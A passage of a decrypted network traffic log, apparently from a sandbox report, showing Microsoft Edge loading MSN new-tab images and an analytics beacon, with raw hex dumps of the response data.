2024-11-24 18:11:57 UTC	1834	IN	Data Raw: d8 8e bd 6b 8a 6c cd 8f 85 42 95 0b 79 c6 ba 0b f6 1c bd 8d 35 83 cf ca 41 f5 4b 85 b5 d4 03 73 a4 82 22 79 da 6b 3d d5 f7 13 6d 77 c3 a2 3d c5 6d ca 39 77 c6 17 b0 e8 b6 af 96 df fe 33 1c 37 91 bd d8 14 b5 f7 03 c3 d4 80 41 e9 de 9b c7 e2 b6 2b 3b 79 0a aa 27 75 d5 43 ea cc 19 5a 76 c4 5d b8 a6 aa f3 2a 60 45 c8 0c b3 aa 84 1a 87 03 f3 14 1b 6f 3d fa d5 3e 7c 8a c1 95 8b 07 ef 20 2e b3 f9 40 16 1a ad 88 3d ea aa 8a 6b f7 02 9c 15 7d 36 fa db c5 1d 86 73 8b 26 27 55 76 23 d4 49 2a 64 3a 89 dc cf c3 2d 36 82 f0 05 1b 1e c0 b8 95 89 4c 39 4b 2a ab 11 95 5f 67 54 01 a5 37 1d 20 d8 e8 4d 7c e3 d6 ff 00 90 08 49 8b 46 9d 6d 04 f4 bd 15 32 67 62 da bf a6 a3 e2 e3 18 d3 a0 8e d2 7b 1e 74 7e d3 ac ba 07 dc 57 69 55 9d 81 c8 be 1f a9 b7 78 10 64 12 21 37 1d ab 24 Data Ascii: klBy5AKs"yk=mw=m9w37A+;y'uCZv]`Eo=>\| .@=k}6s&'Uv#Id:-6L9K*_gT7 M\|IFm2gb{t~WiUxd!7$
2024-11-24 18:11:57 UTC	16384	IN	Data Raw: 08 d1 22 b2 d4 c2 82 ac a2 54 09 a6 14 85 46 89 15 91 4c 20 3a d8 a9 54 09 a8 43 c6 a3 5b 50 a2 2d 92 9a 94 d0 eb d4 41 61 ab d1 41 f6 ad 9a 94 1b 09 5e a8 ee e5 5e dd 40 16 7a b2 2a 3b ab 26 8e 40 4a b2 a3 59 34 40 61 35 0a 95 46 9c 42 35 e8 ad ad a8 29 18 35 ea 91 35 0a 24 3d 5e af 57 aa 0a 65 65 7a b6 89 08 d7 aa 51 58 48 15 00 65 4a 84 5c 56 7a 83 b5 40 07 ad a0 fa 82 b7 70 3d 69 49 61 0d 64 d4 24 77 af 51 25 92 9a f4 d4 26 bd 7a 84 b2 53 51 af 54 68 12 c9 54 6b 2b 68 90 ca ca da ca 84 32 2b 4c 57 89 a8 51 21 95 1a 96 95 12 c2 a0 a6 56 56 6e 15 1e 75 05 27 59 43 26 a1 35 00 16 b2 68 53 5b 50 01 6b 28 41 a2 a5 34 48 4a bd 59 26 bd 3e d5 08 7a bd 5b 35 96 ef 40 86 54 6a 76 a8 13 50 07 a3 da b3 e7 50 ac a2 43 82 01 cb 5d 61 7e 23 31 3b 40 e9 a4 fc a9 ef Data Ascii: "TFL :TC[P-AaA^^@z*;&@JY4@a5FB5)55$=^WeezQXHeJ\Vz@p=iIad$wQ%&zSQThTk+h2+LWQ!VVnu'YC&5hS[Pk(A4HJY&>z[5@TjvPPC]a~#1;@
2024-11-24 18:11:58 UTC	16384	IN	Data Raw: d9 1d 53 20 c8 fb 43 3c 31 3f 16 d0 c1 5a 74 51 79 02 f2 2f 54 9b 72 3c ec 5c 9e 99 76 22 c4 a8 d6 03 1b 2d a4 c4 77 34 76 b6 aa 29 b6 ee de 1b fd 47 93 b5 ab e9 6a ea ba e1 7e 05 fe 4f 27 22 62 f4 36 2c b4 28 ba 30 50 75 82 18 c7 0f f8 c6 b7 a0 b7 90 c1 54 ab 8c 69 84 81 01 4e d7 27 a9 06 d3 b6 27 b9 9b 57 3f ea 96 8b 14 52 77 64 60 02 de 0f 0a cc 88 d4 f3 ab ff 00 bb 54 1d e5 b2 ab a9 42 e5 32 23 2c c0 3a 34 15 9f 8a 0c f7 a9 b9 0d 31 bd 2b 9b af 3e 72 f1 66 17 6f c7 f7 de 49 7e f0 cc b9 1d 80 f5 b7 89 28 3f 32 18 d5 7a b2 8b 40 5e 75 61 f7 76 5c 0b 8c ee 50 ef 07 18 46 27 66 ce e0 69 22 22 67 9d 18 78 fe 32 a7 a9 ea 7a 6e fa e2 c7 60 70 da 15 88 9b 90 3b d5 06 5c 63 16 53 8d 64 a3 ac ab 45 c2 31 12 38 7f c6 2f 56 a1 b3 f6 d6 bd 0b 29 7e 18 b5 c6 0b aa Data Ascii: S C<1?ZtQy/Tr<\v"-w4v)Gj~O'"b6,(0PuTiN''W?Rwd`TB2#,:41+>rfoI~(?2z@^uav\PF'fi""gx2zn`p;\cSdE18/V)~
2024-11-24 18:11:58 UTC	7952	IN	Data Raw: 72 ba df 45 16 bf ed ef 55 e4 9f 4c 2e 6f c8 c8 71 94 ed 1e a8 51 17 da a4 74 3f af 5a 52 4b 32 8f ca 6c a0 45 87 ce a3 90 30 31 21 89 1f 4f 63 79 f9 d3 0b e2 ed 86 66 e2 26 c1 6e 20 8b 4d c7 ce b3 c2 59 7c f0 1e 4a fc c0 a1 88 3c 36 e7 5d 3f dc de 9a 96 cf 94 b1 08 42 a0 1a 49 17 24 cf 41 68 d2 f5 4e e8 ac a1 27 7b cc c9 88 d2 e4 f5 ab ec 59 46 2f 13 61 bb 6e ff 00 58 41 b4 5c 6a 4e b6 3a 9e d6 ad a2 e1 25 a6 5c 34 fd b8 e8 5d f9 55 b7 f7 6f 73 f2 a4 df b6 b0 75 af e6 7a 68 d2 6c 2e bc c7 2a 73 1f 92 7d 25 25 36 e3 33 c4 14 ec 33 fe 47 a1 9e bd 6b 98 c5 95 5d ca 6d 0c 10 31 7e 10 14 5e 54 19 9d 74 06 e7 a5 75 fe 3f 9c be 8e c5 30 ca 27 d2 30 43 2e 86 23 58 33 5c 8f fa 9b 6a fe a7 5a 6f 8c be d4 75 de da e6 33 b5 58 c7 f6 fd 82 4b 94 29 0c 40 2d b5 94 1e Data Ascii: rEUL.oqQt?ZRK2lE01!Ocyf&n MY\|J<6]?BI$AhN'{YF/anXA\jN:%\4]Uosuzhl.*s}%%633Gk]m1~^Ttu?0'0C.#X3\jZou3XK)@-
2024-11-24 18:11:58 UTC	16384	IN	Data Raw: a0 fe 9f 4f 3f b0 f1 79 21 e5 3a 3b 65 c7 1b 02 b9 32 2d ba 34 0b 3a 47 63 5c e6 41 ea 30 b6 82 27 43 6e f6 8f a5 58 b9 5c 79 9f 6c 10 3e 22 62 e7 99 fd 75 aa 85 d6 77 73 e5 33 ca b7 8d bc e7 8c 05 f2 5b 78 d8 b1 90 4a dd c1 22 f1 31 06 e1 7b 00 2e d6 a6 09 dd 2b 95 ae 3e 0b 47 4d 4d be 5d 6a a8 6f c6 a1 4a 80 26 77 5f 8a a0 72 b4 de 7e 74 92 8b 6d e4 57 83 73 0f 84 96 dd 36 8e 82 97 dd 91 3b f5 bd 39 91 46 d0 e7 69 3d 4a b4 f2 fa d0 8e 6d c2 36 82 3b 72 e5 ce 9e 3c 2c 58 a2 8a e3 70 2c 37 49 36 d3 f6 e9 56 1e 31 55 0e ec 76 eb 03 6d bd fd be 54 4c 58 55 b8 d1 f6 e8 0e e1 04 4f 4e c6 28 cc 98 db 6e 3d fd f7 31 92 09 9b 29 13 6a 8e 51 76 b3 dc 62 b9 ce 2c 8f c2 4c b4 08 80 3e c6 6a c3 22 7f 61 8e 05 f2 36 ad fa 0f 6a cc 7e 38 5c 83 30 1c 28 74 26 78 fa 09 Data Ascii: O?y!:;e2-4:Gc\A0'CnX\yl>"buws3[xJ"1{.+>GMM]joJ&w_r~tmWs6;9Fi=Jm6;r<,Xp,7I6V1UvmTLXUON(n=1)jQvb,L>j"a6j~8\0(t&x
2024-11-24 18:11:58 UTC	16384	IN	Data Raw: 6a a6 b6 a9 3c e3 bf 26 bf 71 a5 5e 8c e9 53 2a ab b6 e5 3f 13 7c 49 6d 4f 0e e9 22 7a 45 8c 8d 2b 07 89 87 36 f6 0c 04 e5 24 81 0c 0c 8f 83 e2 8e 16 98 3a 8a a4 3e 66 54 c9 9b 2a e3 47 c6 5e 1f af 14 0d cd 31 3b 49 bf 5a 87 f7 59 04 85 2b b3 21 07 d3 56 3f eb 61 6b 75 3f f1 bf b5 23 d9 92 cc 5d 3a ec 0d 77 ce 4b d1 8c 9c ca e1 8e 01 b7 e2 5f 86 54 c3 2e cb 8e 21 05 6d 06 fa 55 2e 62 b8 dd 9c d8 65 c8 7d 40 00 ff 00 c7 ba c8 0e 8a 7b fb d5 b8 1e b0 23 d4 50 01 03 e2 01 97 fc b7 02 57 6d f4 b1 a4 99 70 2e 32 b8 f2 7e 62 ac 87 8f 4f cc 1b a1 8e 12 05 88 ac e2 dd dc b3 d3 0b db 93 49 3b ef ed 16 62 73 f9 18 4a c3 14 45 04 ea 0c 0d 48 d3 86 c0 9d 0c 55 1e 5c d9 3c 6c c2 58 b9 52 7e 2d 6f a9 ab dc 59 13 16 47 25 24 6c 3b 4c 1d 49 8b 47 4d 64 d5 16 5f 0d f3 e6 Data Ascii: j<&q^S?\|ImO"zE+6$:>fTG^1;IZY+!V?aku?#]:wK_T.!mU.be}@{#PWmp.2~bOI;bsJEHU\<lXR~-oYG%$l;LIGMd_
2024-11-24 18:11:58 UTC	7952	IN	Data Raw: 00 29 36 e6 45 37 9f 07 9b e3 e5 24 fc 24 48 50 db 81 ff 00 84 8b 47 63 a5 78 e4 74 4d ab 91 84 c9 26 60 73 20 7f 5a 56 d3 6f 85 d9 74 ed 46 da 2d 75 c7 f7 c8 93 78 be 47 90 e7 7a aa 95 1f e5 b8 f2 dc 01 30 3d e2 8d 87 c4 46 37 25 19 1f 6b 81 f0 b1 89 8d 4c 73 b9 ed 5b e1 e5 cf 99 1c 9c 0e c0 13 b3 2a fc 4b d2 f1 78 3e d4 52 f9 b6 07 60 54 17 80 e7 42 41 fd ff 00 7a 49 6b 56 95 2c 74 e8 69 15 b6 92 75 7d 72 56 7f ed 79 0e 56 10 11 24 9d c4 f4 9d 62 07 bf 6a ab fe d5 f2 64 75 c0 07 09 3f 19 01 bd e3 4b d7 47 97 c9 cd 91 80 18 99 b1 16 86 3a 69 f9 b9 2f ef 55 fe 6b fa 6b 8f 22 96 05 1a f0 45 e7 4f 7f c2 ac 46 7b 9f 4c 71 6d 7a af 69 4e 6a 37 8f ef 63 30 78 7b 60 e6 37 bc 2d bf 8d 59 63 4f 44 90 08 da d7 03 a8 e4 4f 6e 74 8b 67 2d 0e 14 4a 83 00 de e7 53 fd Data Ascii: )6E7$$HPGcxtM&`s ZVotF-uxGz0=F7%kLs[*Kx>R`TBAzIkV,tiu}rVyV$bjdu?KG:i/Ukk"EOF{LqmziNj7c0x{`7-YcODOntg-JS
2024-11-24 18:11:58 UTC	15551	IN	Data Raw: 52 19 83 21 3a 11 6b 19 ed a7 e1 4c ae 3f 48 ae 43 0c a2 0c 49 d4 e8 df 2f 9d 3f e4 2b 64 55 3b c1 f8 4b 4d b6 8b 75 3e f4 34 c9 8b 63 a0 3e a0 03 88 05 d4 f4 8e 5f b5 5b d6 f4 dd 2e eb b1 8d 17 cd bd bf df e3 9d c8 56 1f e0 90 c3 59 42 67 4b d8 73 a5 fe f6 1e a7 90 1c b8 d8 70 a3 0d a7 8a 63 5d 06 bd 24 e9 4b e2 f2 4f 8f e4 23 b4 42 05 52 0f c3 0e b0 54 77 89 93 dc de b3 cb 1a 30 dd 0a 1d 54 6a 54 49 d3 a4 1f c2 9e 2d b4 8d 79 42 5e 2e 66 ca ca a6 ca a7 e1 d2 fa 6e f7 e7 55 f9 19 9d b2 15 bf 11 93 d4 de a5 38 70 8f 8d dd e2 ec 06 d4 f6 13 72 4f 7b 7b 52 43 70 55 04 6d 0d 79 bd ef fa 72 ad 14 72 dd 52 33 c9 6b 8b 26 2c 58 fd 21 1b f3 6d 57 6b 70 63 24 4a 83 dc 8d 6b de 59 45 76 c6 82 cd 78 99 03 a1 3f ad 56 9c 39 32 5d 17 4f 8a fd 7b f2 14 55 c5 b1 17 23 Data Ascii: R!:kL?HCI/?+dU;KMu>4c>_[.VYBgKspc]$KO#BRTw0TjTI-yB^.fnU8prO{{RCpUmyrrR3k&,X!mWkpc$JkYEvx?V92]O{U#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49826	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:58 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=327438 Expires: Thu, 28 Nov 2024 13:09:16 GMT Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close
2024-11-24 18:11:58 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49824	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:58 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=71241 Expires: Mon, 25 Nov 2024 13:59:19 GMT Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close
2024-11-24 18:11:58 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49825	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:58 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=345712 Expires: Thu, 28 Nov 2024 18:13:50 GMT Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close
2024-11-24 18:11:58 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49823	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:59 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=155778 Expires: Tue, 26 Nov 2024 13:28:16 GMT Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close
2024-11-24 18:11:59 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49827	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:59 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=54338 Expires: Mon, 25 Nov 2024 09:17:36 GMT Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close
2024-11-24 18:11:59 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49822	18.160.60.23	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	1012	OUT	GET /b2?rn=1732471915192&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1F3CC8AC76826FD52AA3DDED77AB6EB5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1F6d6f6fa4cfd258e6ec3401732471916; XID=1F6d6f6fa4cfd258e6ec3401732471916
2024-11-24 18:11:59 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 24 Nov 2024 18:11:58 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 991cd5258e37cadb4872c02ccf777324.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P1 X-Amz-Cf-Id: 7Nf90SPmnf7t69YpJq8hSmdrn6KIU8hmCVGWFraEJs48K4_3Hnirxw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49821	23.96.180.189	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
